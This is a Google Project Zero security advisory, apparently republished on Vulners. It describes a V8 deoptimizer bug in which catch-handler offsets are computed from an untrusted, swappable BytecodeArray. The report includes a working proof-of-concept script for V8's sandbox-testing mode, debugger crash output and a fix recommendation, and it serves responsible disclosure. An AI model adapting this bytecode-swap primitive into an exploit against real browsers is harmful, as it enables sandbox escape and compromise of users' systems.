Vulnerability Details
When deoptimizing compiled code (and resuming execution in the interpreter), V8 uses the function Deoptimizer::DoComputeOutputFrames() to reconstruct the stack frames the way the interpreter expects them. This logic also involves determining the offset in the BytecodeArray where execution continues. For that, the deoptimizer is careful to ensure that it returns to the same BytecodeArray from which the optimized code was compiled (so that bytecode offsets are valid). However, one special case is if the deoptmizer returns into a catch block of a try-catch because the deoptimization is due to a throw operation. The following code handles this logic:
void Deoptimizer::DoComputeOutputFrames() {
// ...
} else if (deoptimizing_throw_) {
// If we are supposed to go to the catch handler, find the catching frame
// for the catch and make sure we only deoptimize up to that frame.
size_t catch_handler_frame_index = count;
for (size_t i = count; i-- > 0;) {
catch_handler_pc_offset_ = LookupCatchHandler(
isolate(), &(translated_state_.frames()[i]), &catch_handler_data_);
// ...
}
Here, LookupCatchHandler is used to find the right offset in the bytecode to return to. Its implementation is shown below.
int LookupCatchHandler(Isolate* isolate, TranslatedFrame* translated_frame,
int* data_out) {
switch (translated_frame->kind()) {
case TranslatedFrame::kUnoptimizedFunction: {
int bytecode_offset = translated_frame->bytecode_offset().ToInt();
HandlerTable table(
translated_frame->raw_shared_info()->GetBytecodeArray(isolate)); // [1]
int handler_index = table.LookupHandlerIndexForRange(bytecode_offset);
if (handler_index == HandlerTable::kNoHandlerFound) return handler_index;
*data_out = table.GetRangeData(handler_index);
table.MarkHandlerUsed(handler_index);
return table.GetRangeHandler(handler_index);
}
case TranslatedFrame::kJavaScriptBuiltinContinuationWithCatch: {
return 0;
}
default:
break;
}
return -1;
}
As can be seen at [1], the function does not use the (trusted) BytecodeArray from the existing frames but instead loads it from the (untrusted) SharedFunctionInfo object inside the sandbox. This opens up a handle-swapping attack: if the BytecodeArray of the SFI is replaced with a different one prior to deoptimization, then the deoptimizer will use the new BytecodeArray to compute the offset of the catch handler but apply that offset to the old BytecodeArray, leading to (potentially) arbitrary bytecode execution.
Reproduction
The following test case demonstrates the issue:
// Flags: --sandbox-testing --expose-gc --allow-natives-syntax
const kHeapObjectTag = 1;
const kJSFunctionType = Sandbox.getInstanceTypeIdFor('JS_FUNCTION_TYPE');
const kSharedFunctionInfoType = Sandbox.getInstanceTypeIdFor('SHARED_FUNCTION_INFO_TYPE');
const kJSFunctionSFIOffset = Sandbox.getFieldOffset(kJSFunctionType, 'shared_function_info');
const kSharedFunctionInfoTrustedFunctionDataOffset = Sandbox.getFieldOffset(kSharedFunctionInfoType, 'trusted_function_data');
let memory = new DataView(new Sandbox.MemoryView(0, 0x100000000));
function getPtr(obj) {
return Sandbox.getAddressOf(obj) + kHeapObjectTag;
}
function getField(obj, offset) {
return memory.getUint32(obj + offset - kHeapObjectTag, true);
}
function setField(obj, offset, value) {
memory.setUint32(obj + offset - kHeapObjectTag, value, true);
}
// Target function to optimize and deoptimize.
function f(should_deopt) {
try {
if (should_deopt) {
trigger();
}
} catch(e) {
return 1;
}
return 0;
}
function trigger() {
// The %DeoptimizeFunction here seems to be necessary to force deoptimization
// on the `throw`, which is itself needed to trigger the bug.
%DeoptimizeFunction(f);
throw "boom";
}
// Dummy function to provide a different BytecodeArray.
// This needs to be somewhat large and have a try-catch to pass some CHECKs during deopt.
let g_body = `
try {
let x = 0;
${"x++;".repeat(500)}
return x;
} catch(e) {
return 0;
}
`;
const g = new Function(g_body);
%PrepareFunctionForOptimization(f);
%PrepareFunctionForOptimization(g);
f(false);
g();
%OptimizeFunctionOnNextCall(f);
f(false);
// Swap the trusted_function_data (pointing to the BytecodeArray) in f's SFI with that of g's SFI.
let f_sfi = getField(getPtr(f), kJSFunctionSFIOffset);
let g_sfi = getField(getPtr(g), kJSFunctionSFIOffset);
let g_tfd = getField(g_sfi, kSharedFunctionInfoTrustedFunctionDataOffset);
setField(f_sfi, kSharedFunctionInfoTrustedFunctionDataOffset, g_tfd);
// Trigger the crash.
f(true);
When run inside gdb, it should result in a crash such as:
> gdb --args ./out/sbxtst/d8 --sandbox-testing --allow-natives-syntax --expose-gc poc.js
Sandbox testing mode is enabled. Only sandbox violations will be reported, all other crashes will be ignored.
Sandbox bounds: [0x7abe00000000,0x7bbe00000000)
External strings cage bounds: [0x7aafc0000000,0x7ab400000000)
[New Thread 0x7bff32fef6c0 (LWP 3789716)]
External strings cage bounds: [0x7aafc0000000,0x7ab400000000)
## V8 sandbox violation detected!
Thread 1 "d8" received signal SIGABRT, Aborted.
__pthread_kill_implementation (threadid=<optimized out>, signo=signo@entry=6, no_tid=no_tid@entry=0) at ./nptl/pthread_kill.c:44
warning: 44 ./nptl/pthread_kill.c: No such file or directory
(gdb) bt
#0 __pthread_kill_implementation (threadid=<optimized out>, signo=signo@entry=6, no_tid=no_tid@entry=0) at ./nptl/pthread_kill.c:44
#1 0x00007ffff7cf99ff in __pthread_kill_internal (threadid=<optimized out>, signo=6) at ./nptl/pthread_kill.c:89
#2 0x00007ffff7ca4cc2 in __GI_raise (sig=sig@entry=6) at ../sysdeps/posix/raise.c:26
#3 0x00007ffff7c8d4ac in __GI_abort () at ./stdlib/abort.c:73
#4 0x0000555557e38152 in v8::base::OS::Abort () at ../../src/base/platform/platform-posix.cc:794
#5 0x00005555584458e0 in v8::internal::abort_with_sandbox_violation () at ../../src/codegen/external-reference.cc:1967
#6 0x000055555e40fa73 in Builtins_IllegalHandler ()
As can be seen, the sandbox violation is triggered because the interpreter executes invalid bytecode instructions, a primitive that has been shown to be exploitable in the past.
Fix Recommendation
For fixing this specific bug it should be enough to ensure that the handler offset is also computed based on the trusted BytecodeArray to which execution will return.
As a follow-up, it would be worth investigating whether the deoptimizer can run without (read) access to the sandbox. This would prevent similar issues (where the deoptimizer relies on untrusted data) in the future. For example, the Wasm deoptimizer already runs with a DisallowSandboxAccess scope [1], which enforces such a restriction.
[1] https://source.chromium.org/chromium/chromium/src/+/main:v8/src/deoptimizer/deoptimizer.h;l=342;drc=2954cee8512ed9dbfe51cbd0e9d92566783e62f3
Credit Information
Samuel Groß of Google Project Zero
Disclosure Deadline
This bug is subject to a 90-day disclosure deadline. If a fix for this issue is made available to users before the end of the 90-day deadline, this bug report will become public 30 days after the fix was made available. Otherwise, this bug report will become public at the deadline. The scheduled deadline is 2026-04-08.
For more details, see the Project Zero vulnerability disclosure policy: https://googleprojectzero.blogspot.com/p/vulnerability-disclosure-policy.html
Credit: saeloData
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation